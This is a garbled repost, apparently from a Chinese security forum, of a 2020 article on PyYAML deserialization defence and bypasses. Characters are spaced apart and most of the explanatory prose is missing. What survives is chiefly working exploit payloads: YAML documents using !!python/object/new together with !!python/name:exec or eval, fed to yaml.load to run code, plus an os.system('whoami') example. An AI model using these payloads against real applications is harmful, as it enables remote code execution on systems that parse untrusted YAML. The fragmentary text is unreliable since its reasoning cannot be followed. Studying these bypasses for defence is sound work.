[16159] 2020-12-02_PyYAML反序列化防御和ByPass研究

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2020-12-02_PyYAML反序列化防御和ByPass研究 P y Y A M L B y P a s s   F r e e B u f   2 0 2 0 - 1 2 - 0 2 P y Y A M L P y Y A M L P y t h o n P y Y A M L p y t h o n y a m l y a m l y a m l P y t h o n P y Y A M L 使 P y t h o n 使 使 使 l o a d ( ) P y Y A M L o s . s y s t e m ( w h o a m i ) 5 . 1 + 使 P y Y A M L   B y P a s s P y t h o n e x e c e v a l B y P a s s P a y L o a d 1 : ! ! p y t h o n / o b j e c t / n e w : o s . s y s t e m   [ " w h o a m i " ] w h i l e   c o n s t r u c t i n g   a   P y t h o n   i n s t a n c e e x p e c t e d   a   c l a s s ,   b u t   f o u n d   < c l a s s   ' b u i l t i n _ f u n c t i o n _ o r _ m e t h o d ' >     i n   " < u n i c o d e   s t r i n g > " ,   l i n e   1 ,   c o l u m n   1 :         ! ! p y t h o n / o b j e c t / n e w : o s . s y s t e m   [ "   . . .           ^ e x e c   P y t h o n   e v a l e x e c   P y t h o n   i m p o r t   y a m l p a y l o a d   =   " " " -   ! ! p y t h o n / o b j e c t / n e w : s t r         a r g s :   [ ]         s t a t e :   ! ! p y t h o n / t u p l e         -   " p r i n t ( ' ' ) "         -   ! ! p y t h o n / o b j e c t / n e w : s t a t i c m e t h o d             a r g s :   [ 0 ]             s t a t e :                 u p d a t e :   ! ! p y t h o n / n a m e : e x e c " " " y a m l . l o a d ( p a y l o a d )
P a y L o a d 2 : P a y L o a d 3 : 5 . 1 + 1 使 s a f e _ l o a d 2 - > i m p o r t   y a m l p a y l o a d   =   " " " ! ! p y t h o n / o b j e c t / n e w : t y p e     a r g s :   [ " z " ,   ! ! p y t h o n / t u p l e   [ ] ,   { " e x t e n d " :   ! ! p y t h o n / n a m e : e x e c   } ]     l i s t i t e m s :   " p r i n t ( ' ' ) " " " " y a m l . l o a d ( p a y l o a d ) - > i m p o r t   y a m l p a y l o a d   =   " " " ! ! p y t h o n / o b j e c t / n e w : t u p l e   -   ! ! p y t h o n / o b j e c t / n e w : m a p       -   ! ! p y t h o n / n a m e : e v a l     -   [   p r i n t ( ' ' )   ] " " " y a m l . l o a d ( p a y l o a d ) - >

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则